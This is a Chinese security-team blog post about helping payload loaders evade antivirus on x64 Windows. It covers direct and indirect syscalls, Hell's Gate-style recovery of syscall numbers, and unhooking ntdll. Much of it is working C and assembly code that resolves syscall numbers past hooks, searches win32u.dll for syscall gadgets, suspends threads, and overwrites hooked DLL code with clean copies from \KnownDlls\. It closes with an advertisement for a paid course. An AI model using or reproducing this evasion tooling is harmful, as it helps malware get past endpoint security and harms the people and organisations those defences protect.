微信公众号:渊龙Sec安全团队
为国之安全而奋斗,为信息安全而发声!
如有问题或建议,请在公众号后台留言
如果你觉得本文对你有帮助,欢迎在文章底部赞赏我们
从现在杀软对抗的角度和技术来讲,syscall
可以说是 loader
中一个不可缺少的技术。为什么 syscall
逐渐成为主流?
很早之前杀软其实只会对 kernel32
中一些函数进行 hook
,所以恶意程序开发者使用 ntdll
中的函数去实现 loader
的免杀效果是远高于直接或者间接使用 kernel32
中的函数,比如 VirtualAlloc
之类的函数。
我们又不能直接通过动态调用的方式的去加载 ntdll
中的函数,原因是调用链比较明显(使用 GetModuleHandle
,GetProcAddress
)。
随着时代的进步,逐渐有人创造间接调用这个概念,也就是我们现在熟悉的地狱之门,当然这里我们不再去深度讨论一些关于地狱之门之类的话题。
当然俗话说的好,魔高一尺道高一丈,杀软也已经开始 hook ntdll
了,当然目前来说r3
层 hook
杀软已经不再是主流,像卡巴已经移除了 r3
层的 hook
。
注明:本文中的
Syscall
调用适用于任意版本Windows系统,只支持x64系统。
知己知彼,百战不殆。只有深入了解执行架构的相关原理,才能更好的理清楚思路做好免杀。
在Windows系统中,调用 syscalls
充当程序与系统交互的接口,使它们能够请求特定服务,例如读取或写入文件、创建新进程或分配内存。
例如:当调用 WinAPIs
函数时会触发 NtAllocateVirtualMemory
系统调用。然后,此 syscall
将用户在上一个函数调用中提供的参数移动到 Windows内核,执行请求的操作并将结果返回给程序。
所有系统调用都会返回一个指示代码的NTSTATUS 值,如果系统调用成功执行操作,则返回(零)STATUS_SUCCESS
。
参考链接:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55
大多数系统调用都没有在 Microsoft 中记录,因此系统调用模块将参考下面显示的文档:
Undocumented NTinternals:http://undocumented.ntinternals.net/
ReactOS's NTDLL Reference:https://doxygen.reactos.org/dir_a7ad942ac829d916497d820c4a26c555.html
大多数系统调用都是从 ntdll.dll
DLL导出的。
有两种类型的系统调用,一种以 开头Nt,另一种以 开头Zw。
NT 系统调用是用户模式程序的主要接口,这些是大多数 Windows 程序通常使用的系统调用。
Zw 系统调用是操作系统的低级内核模式接口,它们通常由设备驱动程序和其他需要直接访问操作系统功能的内核模式代码使用。
总而言之,Zw 系统调用在设备驱动程序开发中用于内核模式,而Nt 系统调用则从用户模式程序执行。
虽然可以从用户模式程序中使用两者,但仍然可以实现相同的结果。这可以在下图中注意到,其中同一系统调用的Zw和Nt版本共享相同的函数地址。
系统调用结构通常是相同的,看起来像下面显示的代码片段。
mov r10, rcx
mov eax, SSN
syscall
例如,NtAllocateVirtualMemory
在64位系统上如下所示:
如下 NtProtectVirtualMemory
所示:
需要注意,并非所有 NtAPI
都是系统调用!
需要注意的是,虽然某些 NtAPI
返回 NTSTATUS
,但它们不一定是系统调用。
这些 NtAPI
可能是 WinAPI
或系统调用使用的低级函数。某些 NtAPI
不属于系统调用的原因,是它们不符合系统调用的结构。
例如没有系统调用编号或 mov r10
, rcx
开头缺少通常的指令。下面显示了非系统调用的 NtAPI 的示例:
LdrLoadDll
- WinAPI
使用它 LoadLibrary
来将图像加载到调用进程。
SystemFunction032
并且 SystemFunction033
这些 NtAPI
是之前引入的,并执行 RC4
加密/解密操作。
RtlCreateProcessParametersEx
- WinAPI
使用它 CreateProcess
来创建进程的参数。
LdrLoadDll
的指令如下所示。请注意,它不遵循典型的系统调用结构:
直接使用系统调用是绕过用户空间钩子的一种方法。例如,在为有效载荷分配内存时使用 NtAllocateVirtualMemory
而不是 WinAPI
:
使用直接系统调用
使用间接系统调用
解钩(脱钩)
通过获取用汇编语言编写的 syscall
函数版本,并直接从汇编文件中调用该精心设计的
syscall
,可以实现对用户空间 syscall
挂钩的规避。
难点在于确定 syscall
服务编号(SSN),因为该编号因系统而异。为了克服这个问题,SSN
可以硬编码在汇编文件中,也可以在运行时动态计算。
以下 .asm
文件介绍了汇编文件中精心设计的 syscall
示例。
不同于本课程中之前所做的 NtAllocateVirtualMemory
使用 GetProcAddress
和进行调用 GetModuleHandle
,下面的汇编函数可用于获得相同的结果。这样就无需 NtAllocateVirtualMemory
从安装钩子的 NTDLL
地址空间内进行调用,从而避免了钩子。
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, (ssn of NtAllocateVirtualMemory)
syscall
ret
NtAllocateVirtualMemory ENDPNtProtectVirtualMemory PROC
mov r10, rcx
mov eax, (ssn of NtProtectVirtualMemory)
syscall
ret
NtProtectVirtualMemory ENDP
// other syscalls ...
此方法被SysWhispers和HellsGate等工具所采用,这两个工具将在后续模块中讨论:
SysWhispers:https://github.com/jthuraisamy/SysWhispers
HellsGate:https://github.com/am0nsec/HellsGate
间接系统调用的实现方式与直接系统调用类似,后者必须先手动编写汇编文件。
两者的区别在于,汇编 syscall
函数中没有指令,而是直接跳转到该指令。下图显示了一个直观的表示:
NtAllocateVirtualMemory
和的汇编函数 NtProtectVirtualMemory
如下所示:
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, (ssn of NtAllocateVirtualMemory)
jmp (address of a syscall instruction)
ret
NtAllocateVirtualMemory ENDPNtProtectVirtualMemory PROC
mov r10, rcx
mov eax, (ssn of NtProtectVirtualMemory)
jmp (address of a syscall instruction)
ret
NtProtectVirtualMemory ENDP
// other syscalls ...
执行间接系统调用而非直接系统调用的好处是:安全解决方案会查找从 NTDLL
地址空间之外调用的系统调用,并将其视为可疑系统调用。
使用间接系统调用时,系统调用指令会从 NTDLL
的地址空间执行,就像正常的系统调用一样。
因此,与直接系统调用相比,间接系统调用更容易躲过安全解决方案的检查。
解除挂钩是另一种逃避挂钩的方法,即将加载到内存中的挂钩 NTDLL
库替换为未挂钩的版本。
可以从多个地方获取未挂钩的版本,但常用方法之一是直接从磁盘加载。这样做将删除放置在 NTDLL 库内的所有挂钩。
优势就笔者个人的经验来说,使用某特别的方式间接调用 nt
函数,杀软没法直接或者快速查询你的函数使用。
但这里我们其实不能说你使用的所有 nt
函数或者操作行为就是安全的,比如注入这种在 loader
中我个人是不太喜欢的使用的,行为过于明显。
劣势也是非常的明显,在不 unhook r3
层,你的 nt
函数使用依旧是受到杀软监管的,当然让笔者认为最大的劣势还是在于调用链的不够完整。
这个所谓的调用链不够完整是什么意思,打个比方,我们在使用 VirtualAlloc
函数的时候,它的调用链是从 kernel32
到 kernelbase
最后到 ntdll
,最后使用 NtAllocateVirtualMemory
,简而言之就是加载的底层函数是 NtAllocateVirtualMemory
。
如果我们使用市面上大部分的间接调用技术我们的调用将会直接的跳过 kernel32
和 kernelbase
,直接走到 ntdll
当中。这就会让杀软认为你的函数调用链存在差异,当然这种调用链的缺失并不是所有杀软的都会特别在意或者成为立即查杀你的原因,但为了能更长期的稳定运行,我们或许可以尝试伪造一个完整的调用链,接下来我们会实现 unhook
以及尝试构造一个伪链来帮我们处理 syscall
。
我们这里暂不深入讨论内存存根的问题,从 \KnwonDlls\
目录 unhook
并不是绕过 r3 hook
的新方法。但是我们会尝试避免在执行此操作时分配 RWX
内存。
例如其中需要 RWX
权限来替换挂钩模块的文本部分,同时允许执行这些文本部分中的函数,我们将先暂停正在运行的线程,试图阻止从目标文本部分中调用任何函数,从而无需在 unhook
之前将它们设置为 RWX
,从而只需要 RW
权限。
但是,这种方法产生了另一个问题;在 unhook
NtProtectVirtualMemory
系统调用和其他系统调用使用 ntdll
模块内的系统调用指令作为间接系统调用方法,unhook
的模块将被标记为 RW
权限,因此无法执行间接系统调用。
因为我们要跳转到的系统调用指令现在无法执行,所以我们必须跳转到另一个可执行位置,那么我们可以尝试在 system32
下面寻找一个可作为跳板的dll来实现这个,这里我们选择 win32u.dll
/win32u.dll
存在一些最终同样使用 nt
函数的基础函数,基础函数你可理解为类似于 VirtualAlloc
这样的函数。当我们完成一些列的操作之后,我们将恢复暂停的线程,并实现我们的目的 uhook
加间接调用。
汇编代码如下:
.data
dwSyscallNumber DWORD 0h ; the SSn
qSyscallInsAddress QWORD 0h ; the address of a "syscall; ret;" instruction .code
public SetConfig
SetConfig proc
mov dwSyscallNumber, ecx
mov qSyscallInsAddress, rdx
ret
SetConfig endp
public HellHall
HellHall proc
mov r10, rcx
mov eax, dwSyscallNumber
jmp qword ptr [qSyscallInsAddress]
ret
HellHall endp
end
第一步,加载 shell32.dll
,SHGetFolderPathW
会强制加载 win32u.dll
,无需我们直接加载:
HRESULT AddWin32uToIat()
{
WCHAR szPath[MAX_PATH] = { 0 };
return SHGetFolderPathW(NULL, CSIDL_MYVIDEO, NULL, NULL, szPath);
}
第二步,初始化我们的 syscall
方法并通过 peb
找到 ntdll
,并检查是否被hook
:
BOOL InitilizeNtdllConfig() {
// CHECK
if (NtdllSt.pdwArrayOfFunctions != NULL && NtdllSt.pdwArrayOfNames != NULL && NtdllSt.pwArrayOfOrdinals != NULL)
return TRUE;
PPEB pPeb = NULL;
PLDR_DATA_TABLE_ENTRY pDte = NULL;
PBYTE uNtdll = NULL; RtlSecureZeroMemory(&NtdllSt, sizeof(NTDLL));
// PEB
pPeb = (PPEB)__readgsqword(0x60);
if (pPeb == NULL || pPeb->OSMajorVersion != 0xA)
return FALSE;
// NTDLL
pDte = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
if (!pDte)
return FALSE;
NtdllSt.pNtdll = uNtdll = pDte->DllBase;
// DOS
NtdllSt.pImgDos = (PIMAGE_DOS_HEADER)uNtdll;
if (NtdllSt.pImgDos->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
// NT
NtdllSt.pImgNtHdrs = (PIMAGE_NT_HEADERS)(uNtdll + NtdllSt.pImgDos->e_lfanew);
if (NtdllSt.pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
// EXPORT
NtdllSt.pImgExpDir = (PIMAGE_EXPORT_DIRECTORY)(uNtdll + NtdllSt.pImgNtHdrs->OptionalHeader.DataDirectory[0].VirtualAddress);
if (!NtdllSt.pImgExpDir || !NtdllSt.pImgExpDir->Base)
return NULL;
// ARRAYS
NtdllSt.pdwArrayOfFunctions = (PDWORD)(uNtdll + NtdllSt.pImgExpDir->AddressOfFunctions);
NtdllSt.pdwArrayOfNames = (PDWORD)(uNtdll + NtdllSt.pImgExpDir->AddressOfNames);
NtdllSt.pwArrayOfOrdinals = (PWORD)(uNtdll + NtdllSt.pImgExpDir->AddressOfNameOrdinals);
// CHECK
if (!NtdllSt.pdwArrayOfFunctions || !NtdllSt.pdwArrayOfNames || !NtdllSt.pwArrayOfOrdinals)
return FALSE;
return TRUE;
}
BOOL InitilizeSysFunc(IN DWORD dwSysFuncHash, OUT PSYSCALL pSyscall)
{
if (!dwSysFuncHash || (!NtdllSt.pNtdll && !InitilizeNtdllConfig()))
return FALSE;
for (DWORD i = 0; i < NtdllSt.pImgExpDir->NumberOfFunctions; i++) {
CHAR* cFuncName = (CHAR*)(NtdllSt.pdwArrayOfNames[i] + NtdllSt.pNtdll);
if (HASHb(cFuncName) == dwSysFuncHash)
{
pSyscall->dwSysFuncHash = dwSysFuncHash;
pSyscall->pSyscallAddress = (PVOID)(NtdllSt.pdwArrayOfFunctions[NtdllSt.pwArrayOfOrdinals[i]] + NtdllSt.pNtdll);
if (*((PBYTE)pSyscall->pSyscallAddress) == 0x4c
&& *((PBYTE)pSyscall->pSyscallAddress + 1) == 0x8b
&& *((PBYTE)pSyscall->pSyscallAddress + 2) == 0xd1
&& *((PBYTE)pSyscall->pSyscallAddress + 3) == 0xb8
&& *((PBYTE)pSyscall->pSyscallAddress + 6) == 0x00
&& *((PBYTE)pSyscall->pSyscallAddress + 7) == 0x00) {
BYTE high = *((PBYTE)pSyscall->pSyscallAddress + 5);
BYTE low = *((PBYTE)pSyscall->pSyscallAddress + 4);
pSyscall->dwSyscallNumber = (high << 8) | low;
break;
}
//if hooked check the neighborhood to find clean syscall 1
if (*((PBYTE)pSyscall->pSyscallAddress) == 0xe9) {
for (WORD idx = 1; idx <= 500; idx++) {
// check neighboring syscall down
if (*((PBYTE)pSyscall->pSyscallAddress + idx * DOWN) == 0x4c
&& *((PBYTE)pSyscall->pSyscallAddress + 1 + idx * DOWN) == 0x8b
&& *((PBYTE)pSyscall->pSyscallAddress + 2 + idx * DOWN) == 0xd1
&& *((PBYTE)pSyscall->pSyscallAddress + 3 + idx * DOWN) == 0xb8
&& *((PBYTE)pSyscall->pSyscallAddress + 6 + idx * DOWN) == 0x00
&& *((PBYTE)pSyscall->pSyscallAddress + 7 + idx * DOWN) == 0x00) {
BYTE high = *((PBYTE)pSyscall->pSyscallAddress + 5 + idx * DOWN);
BYTE low = *((PBYTE)pSyscall->pSyscallAddress + 4 + idx * DOWN);
pSyscall->dwSyscallNumber = (high << 8) | low - idx;
break;
}
// check neighboring syscall up
if (*((PBYTE)pSyscall->pSyscallAddress + idx * UP) == 0x4c
&& *((PBYTE)pSyscall->pSyscallAddress + 1 + idx * UP) == 0x8b
&& *((PBYTE)pSyscall->pSyscallAddress + 2 + idx * UP) == 0xd1
&& *((PBYTE)pSyscall->pSyscallAddress + 3 + idx * UP) == 0xb8
&& *((PBYTE)pSyscall->pSyscallAddress + 6 + idx * UP) == 0x00
&& *((PBYTE)pSyscall->pSyscallAddress + 7 + idx * UP) == 0x00) {
BYTE high = *((PBYTE)pSyscall->pSyscallAddress + 5 + idx * UP);
BYTE low = *((PBYTE)pSyscall->pSyscallAddress + 4 + idx * UP);
pSyscall->dwSyscallNumber = (high << 8) | low + idx;
break;
}
}
break;
}
//if hooked check the neighborhood to find clean syscall 2
if (*((PBYTE)pSyscall->pSyscallAddress + 3) == 0xe9) {
for (WORD idx = 1; idx <= 500; idx++) {
// check neighboring syscall down
if (*((PBYTE)pSyscall->pSyscallAddress + idx * DOWN) == 0x4c
&& *((PBYTE)pSyscall->pSyscallAddress + 1 + idx * DOWN) == 0x8b
&& *((PBYTE)pSyscall->pSyscallAddress + 2 + idx * DOWN) == 0xd1
&& *((PBYTE)pSyscall->pSyscallAddress + 3 + idx * DOWN) == 0xb8
&& *((PBYTE)pSyscall->pSyscallAddress + 6 + idx * DOWN) == 0x00
&& *((PBYTE)pSyscall->pSyscallAddress + 7 + idx * DOWN) == 0x00) {
BYTE high = *((PBYTE)pSyscall->pSyscallAddress + 5 + idx * DOWN);
BYTE low = *((PBYTE)pSyscall->pSyscallAddress + 4 + idx * DOWN);
pSyscall->dwSyscallNumber = (high << 8) | low - idx;
break;
}
// check neighboring syscall up
if (*((PBYTE)pSyscall->pSyscallAddress + idx * UP) == 0x4c
&& *((PBYTE)pSyscall->pSyscallAddress + 1 + idx * UP) == 0x8b
&& *((PBYTE)pSyscall->pSyscallAddress + 2 + idx * UP) == 0xd1
&& *((PBYTE)pSyscall->pSyscallAddress + 3 + idx * UP) == 0xb8
&& *((PBYTE)pSyscall->pSyscallAddress + 6 + idx * UP) == 0x00
&& *((PBYTE)pSyscall->pSyscallAddress + 7 + idx * UP) == 0x00) {
BYTE high = *((PBYTE)pSyscall->pSyscallAddress + 5 + idx * UP);
BYTE low = *((PBYTE)pSyscall->pSyscallAddress + 4 + idx * UP);
pSyscall->dwSyscallNumber = (high << 8) | low + idx;
break;
}
}
break;
}
}
}
if (!pSyscall->pSyscallAddress || !pSyscall->dwSyscallNumber)
return FALSE;
return SearchForRop(&pSyscall->pSyscallInstAddress);
}
BOOL SearchForRop(OUT PVOID* ppRopAddress) {
PPEB pPeb = (PEB*)(__readgsqword(0x60));
PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->LoaderData);
PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);
// 'i' is used to skip over the local image and ntdll image
unsigned int i = 0;
while (pDte) {
if (pDte->FullDllName.Length != NULL) {
// define 'SEARCH_ALL_DLLS' to search all the loaded modules - not recommended tho
// cuz if an ROP is found outside of win32udll, it will be an RW .text section (will be done later when unhooking),
// and thus the process will crash
#ifdef SEARCH_ALL_DLLS
if (i >= 2) {
#else
// search only in 'win32udll' because its the only module to be RX when unhooking
if (HASHb(pDte->FullDllName.Buffer) == win32udll_CRC32b || HASHb(pDte->FullDllName.Buffer) == WIN32UDLL_CRC32b) {
#endif // SEARCH_ALL
#ifdef DEBUG
PRINTW(L">>> Searching in \"%s\" ... \n", pDte->FullDllName.Buffer)
#endif // DEBUG
ULONG_PTR uModule = (ULONG_PTR)pDte->InInitializationOrderLinks.Flink;
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)uModule;
if (pDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)(uModule + pDosHdr->e_lfanew);
if (pNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
// search only in the text section, where we have RX permissions
PVOID pTxtSection = (PVOID)(uModule + pNtHdrs->OptionalHeader.BaseOfCode);
SIZE_T sTextSize = (SIZE_T)pNtHdrs->OptionalHeader.SizeOfCode;
// searching for
// <syscall>
// <ret>
// instructions
for (size_t j = 0; j < sTextSize; j++) {
if (*((PBYTE)pTxtSection + j) == 0x0F && *((PBYTE)pTxtSection + j + 1) == 0x05 && *((PBYTE)pTxtSection + j + 2) == 0xC3) {
#ifdef DEBUG
PRINTA("\t[+] Found \"syscall; ret\" gadget At - 0x%p \n", ((PBYTE)pTxtSection + j))
#endif // DEBUG
*ppRopAddress = (PVOID)((PBYTE)pTxtSection + j);
return TRUE;
}
}
}
}
else {
break;
}
pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
i++;
}
if (*ppRopAddress == NULL)
return FALSE;
else
return TRUE;
}
第三步,通过 peb
自实现 GetModuleHandle
和 GetProcAddress
这里不给出代码。
第四步,直接进行 unhook
:
BOOL RefreshAllDlls() {#if _WIN64
PPEB pPeb = (PPEB)__readgsqword(0x60);
#else
PPEB pPeb = NULL;
#endif
if (pPeb == NULL || (pPeb != NULL && pPeb->OSMajorVersion != 0xA)) {
return FALSE;
}
PLIST_ENTRY Head = NULL,
Next = NULL;
NTSTATUS STATUS = NULL;
LPVOID KnownDllDllModule = NULL,
CurrentDllModule = NULL;
PVOID pLocalTxtAddress = NULL,
pRemoteTxtAddress = NULL;
SIZE_T sLocalTxtSize = NULL;
DWORD dwOldPermission = NULL;
Head = &pPeb->LoaderData->InMemoryOrderModuleList;
// skipping the local image, because we know its not in \KnownDlls\ folder
Next = Head->Flink->Flink;
// suspending all local threads, to prevent executing RW memory
if (!SuspendAndResumeLocalThreads(SUSPEND_THREADS))
return FALSE;
// loop through all dlls:
while (Next != Head) {
// getting the dll name:
PLDR_DATA_TABLE_ENTRY pLdrData = (PLDR_DATA_TABLE_ENTRY)((PBYTE)Next - offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks));
PUNICODE_STRING DllName = (PUNICODE_STRING)((PBYTE)&pLdrData->FullDllName + sizeof(UNICODE_STRING));
// if not win32u.dll, bcz our rop gadgets are in 'win32u.dll' (and we need to keep it RX)
if (HASHb(DllName->Buffer) != win32udll_CRC32b && HASHb(DllName->Buffer) != WIN32UDLL_CRC32b) {
// getting the dll's handle from \KnownDlls\ : in case it returned null, that's ok, cz the dll may not be in KnownDlls after all ...
KnownDllDllModule = GetDllFromKnownDll(DllName->Buffer);
CurrentDllModule = (LPVOID)(pLdrData->DllBase);
// if we had the dll mapped with a valid address from KnownDlls:
if (KnownDllDllModule != NULL && CurrentDllModule != NULL) {
// get the dos & nt headers of our local dll
PIMAGE_DOS_HEADER CurrentDllImgDosHdr = (PIMAGE_DOS_HEADER)CurrentDllModule;
if (CurrentDllImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}
PIMAGE_NT_HEADERS CurrentDllImgNtHdr = (PIMAGE_NT_HEADERS)((PBYTE)CurrentDllModule + CurrentDllImgDosHdr->e_lfanew);
if (CurrentDllImgNtHdr->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}
// get the address of the module's txt section & its size & calculate the knowndll txt section address
for (int i = 0; i < CurrentDllImgNtHdr->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER pImgSec = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(CurrentDllImgNtHdr) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if ((*(ULONG*)pImgSec->Name | 0x20202020) == 'xet.') {
sLocalTxtSize = pImgSec->Misc.VirtualSize;
pLocalTxtAddress = (PVOID)((ULONG_PTR)CurrentDllModule + pImgSec->VirtualAddress);
pRemoteTxtAddress = (PVOID)((ULONG_PTR)KnownDllDllModule + pImgSec->VirtualAddress);
}
}
// small check here ...
if (sLocalTxtSize == NULL || pLocalTxtAddress == NULL || pRemoteTxtAddress == NULL) {
return FALSE;
}
// if both have the same bytes, its a valid text section
if (*(ULONG_PTR*)pLocalTxtAddress != *(ULONG_PTR*)pRemoteTxtAddress)
return FALSE;
PVOID pAddress = pLocalTxtAddress;
SIZE_T sSize = sLocalTxtSize;
#ifdef DEBUG
PRINTW(L"\n[i] Replacing .txt of %s ... ", DllName->Buffer);
PRINTA("\n\t> pLocalTxtAddress : 0x%p \n\t> pRemoteTxtAddress : 0x%p \n", pLocalTxtAddress, pRemoteTxtAddress);
#endif // DEBUG
INITIALIZE_SYSCALL(NTAPIs.NtProtectVirtualMemory);
if (!NT_SUCCESS((STATUS = HellHall((HANDLE)-1, &pAddress, &sSize, PAGE_READWRITE, &dwOldPermission)))) {
#ifdef DEBUG
PRINTA("[!] NtProtectVirtualMemory [1] Failed With Status : 0x%0.8X (Unhook.c:262)\n", STATUS);
#endif // DEBUG
return FALSE;
}
_memcpy(pLocalTxtAddress, pRemoteTxtAddress, sLocalTxtSize);
INITIALIZE_SYSCALL(NTAPIs.NtProtectVirtualMemory);
if (!NT_SUCCESS((STATUS = HellHall((HANDLE)-1, &pAddress, &sSize, dwOldPermission, &dwOldPermission)))) {
#ifdef DEBUG
PRINTA("[!] NtProtectVirtualMemory [2] Failed With Status : 0x%0.8X (Unhook.c:272)\n", STATUS);
#endif // DEBUG
return FALSE;
}
// unmap the KnownDlls dll
INITIALIZE_SYSCALL(NTAPIs.NtUnmapViewOfSection);
if (!NT_SUCCESS((STATUS = HellHall(NtCurrentProcess(), KnownDllDllModule)))) {
#ifdef DEBUG
PRINTA("[!] NtUnmapViewOfSection Failed With Status : 0x%0.8X (Unhook.c:282)\n", STATUS);
#endif // DEBUG
return FALSE;
}
#ifdef DEBUG
PRINTA("[+] DONE \n");
#endif // DEBUG
}
}
// continue to the next dll ...
Next = Next->Flink;
}
// resuming all local threads
if (!SuspendAndResumeLocalThreads(RESUME_THREADS))
return FALSE;
return TRUE;
}
BOOL SuspendAndResumeLocalThreads(enum THREADS State) {
// small trick ;)
DWORD dwCurrentProcessId = __readgsqword(0x40);
DWORD dwRunningThread = __readgsqword(0x48);
HANDLE hSnapShot = INVALID_HANDLE_VALUE,
hThread = 0x00;
NTSTATUS STATUS = 0x00;
THREADENTRY32 Thr32 = { .dwSize = sizeof(THREADENTRY32) };
OBJECT_ATTRIBUTES ObjAttr = { 0 };
CLIENT_ID ClientId = { 0 };
#ifdef DEBUG
PRINTA("\n");
#endif // DEBUG
hSnapShot = WINAPIs.pCreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE) {
#ifdef DEBUG
PRINTA("[!] CreateToolhelp32Snapshot Failed With Error : %d (Unhook.c:59)\n", GetLastError());
#endif // DEBUG
WINAPIs.pCloseHandle(hSnapShot);
return FALSE;
}
if (!WINAPIs.pThread32First(hSnapShot, &Thr32)) {
#ifdef DEBUG
PRINTA("[!] Thread32First Failed With Error : %d (Unhook.c:68)\n", GetLastError());
#endif // DEBUG
WINAPIs.pCloseHandle(hSnapShot);
return FALSE;
}
do {
if (Thr32.th32OwnerProcessID == dwCurrentProcessId && Thr32.th32ThreadID != dwRunningThread) {
InitializeObjectAttributes(&ObjAttr, NULL, NULL, NULL, NULL);
ClientId.UniqueProcess = (PVOID)Thr32.th32OwnerProcessID;
ClientId.UniqueThread = (PVOID)Thr32.th32ThreadID;
INITIALIZE_SYSCALL(NTAPIs.NtOpenThread);
if (!NT_SUCCESS((STATUS = HellHall(&hThread, GENERIC_ALL, &ObjAttr, &ClientId)))) {
#ifdef DEBUG
PRINTA("[!] NtOpenThread Failed With Status : 0x%0.8X (Unhook.c:85)\n", STATUS);
#endif // DEBUG
}
if (State == SUSPEND_THREADS) {
#ifdef DEBUG
PRINTA("\t\t>>> Suspending Thread Of Id : %d ... ", Thr32.th32ThreadID);
#endif // DEBUG
INITIALIZE_SYSCALL(NTAPIs.NtSuspendThread);
if (hThread && !NT_SUCCESS(STATUS = HellHall(hThread, NULL))){
#ifdef DEBUG
PRINTA("[!] NtSuspendThread Failed With Status : 0x%0.8X (Unhook.c:97)\n", STATUS);
#endif // DEBUG
}
#ifdef DEBUG
PRINTA("[+] DONE \n");
#endif // DEBUG
}
if (State == RESUME_THREADS) {
#ifdef DEBUG
PRINTA("\t\t>>> Resuming Thread Of Id : %d ... ", Thr32.th32ThreadID);
#endif // DEBUG
INITIALIZE_SYSCALL(NTAPIs.NtResumeThread);
if (hThread && !NT_SUCCESS(STATUS = HellHall(hThread, NULL))) {
#ifdef DEBUG
PRINTA("[!] NtResumeThread Failed With Status : 0x%0.8X (Unhook.c:113)\n", STATUS);
#endif // DEBUG
}
#ifdef DEBUG
PRINTA("[+] DONE \n");
#endif // DEBUG
}
INITIALIZE_SYSCALL(NTAPIs.NtClose);
if (hThread != NULL)
HellHall(hThread);
}
} while (WINAPIs.pThread32Next(hSnapShot, &Thr32));
#ifdef DEBUG
PRINTA("\n");
#endif // DEBUG
WINAPIs.pCloseHandle(hSnapShot);
return TRUE;
}
LPVOID GetDllFromKnownDll(IN PWSTR DllName) {
PVOID pModule = 0x00;
HANDLE hSection = 0x00;
NTSTATUS STATUS = 0x00;
SIZE_T ViewSize = 0x00;
UNICODE_STRING UniStr = { 0 };
OBJECT_ATTRIBUTES ObjAtr = { 0 };
WCHAR FullName [MAX_PATH] = { 0 };
WCHAR Buf [MAX_PATH] = { L'\\', L'K', L'n', L'o', L'w', L'n', L'D', L'l', L'l', L's', L'\\' }; _strcpy(FullName, Buf);
_strcat(FullName, DllName);
_RtlInitUnicodeString(&UniStr, FullName);
InitializeObjectAttributes(&ObjAtr, &UniStr, OBJ_CASE_INSENSITIVE, NULL, NULL);
INITIALIZE_SYSCALL(NTAPIs.NtOpenSection);
if (!NT_SUCCESS((STATUS = HellHall(&hSection, SECTION_MAP_READ, &ObjAtr)))) {
#ifdef DEBUG
PRINTW(L"[!] NtOpenSection Failed For \"%s\" With Status : 0x%0.8X [THAT'
S PROB OK]\n", FullName, STATUS);
#endif // DEBUG
return NULL;
} INITIALIZE_SYSCALL(NTAPIs.NtMapViewOfSection);
if (!NT_SUCCESS((STATUS = HellHall(hSection, NtCurrentProcess(), &pModule, NULL, NULL, NULL, &ViewSize, ViewShare, NULL, PAGE_READONLY)))) {
#ifdef DEBUG
PRINTW(L"
[!] NtMapViewOfSection Failed For \"%s\" With Status : 0x%0.8X (Unhook.c:168)\n", FullName, STATUS);
#endif // DEBUG
return NULL;
}
return pModule;
}
到此为止我们实现了 unhook
加伪造的 syscall
调用链的整体利用。
参考代码和项目:https://github.com/NUL0x4C/AtomLdr
相信能看到这里,也是我们团队的老粉了,感谢各位师傅一直以来的关注和支持~
这里给大家安利一套课程,就是本文作者进行手把手教学的,课程内容非常不错,【曾哥认证(逃】,课程的大纲如下:
如果感兴趣,欢迎加微信 djeijek 进行咨询,先到的师傅有优惠哦~
我是凝,我在渊龙Sec安全团队等你
微信公众号:渊龙Sec安全团队
欢迎关注我,一起学习,一起进步~
本篇文章为团队成员原创文章,请不要擅自盗取!